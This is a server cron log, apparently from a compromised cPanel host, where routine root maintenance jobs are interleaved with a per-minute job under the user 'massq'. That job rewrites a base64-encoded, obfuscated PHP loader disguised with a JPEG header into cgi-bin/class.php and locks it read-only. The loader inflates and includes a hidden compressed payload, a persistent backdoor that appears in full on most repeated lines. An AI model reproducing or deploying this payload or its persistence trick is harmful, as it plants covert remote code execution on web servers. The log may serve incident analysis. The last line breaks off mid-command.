Aug 31 22:50:01 server CROND[9040]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:50:01 server CROND[9041]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 22:50:01 server CROND[9037]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 22:50:01 server CROND[9043]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 22:50:01 server CROND[9038]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:50:01 server CROND[9039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:51:01 server CROND[9964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:51:01 server CROND[9965]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:51:01 server CROND[9966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:52:01 server CROND[10339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:52:01 server CROND[10340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:52:01 server CROND[10341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:53:01 server CROND[10721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:53:01 server CROND[10722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:53:01 server CROND[10723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:54:01 server CROND[11109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:54:01 server CROND[11110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:54:01 server CROND[11108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:55:01 server CROND[11507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:55:01 server CROND[11509]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 22:55:01 server CROND[11512]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 22:55:01 server CROND[11514]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:55:01 server CROND[11515]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 22:55:01 server CROND[11513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:55:01 server CROND[11511]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 22:56:01 server CROND[12411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:56:01 server CROND[12412]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:56:01 server CROND[12413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:57:01 server CROND[12900]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:57:01 server CROND[12902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:57:01 server CROND[12901]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 22:57:01 server CROND[12903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:58:01 server CROND[13298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:58:01 server CROND[13299]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:58:01 server CROND[13300]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:59:01 server CROND[13694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:59:01 server CROND[13695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:59:01 server CROND[13696]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:00:01 server CROND[14118]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 23:00:01 server CROND[14119]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 23:00:01 server CROND[14122]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 23:00:01 server CROND[14123]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 23:00:01 server CROND[14127]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:00:01 server CROND[14125]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 31 23:00:01 server CROND[14121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:00:01 server CROND[14126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:00:01 server CROND[14129]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 23:01:01 server CROND[14985]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:01:01 server CROND[14984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:01:01 server CROND[14986]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 23:01:01 server CROND[14987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 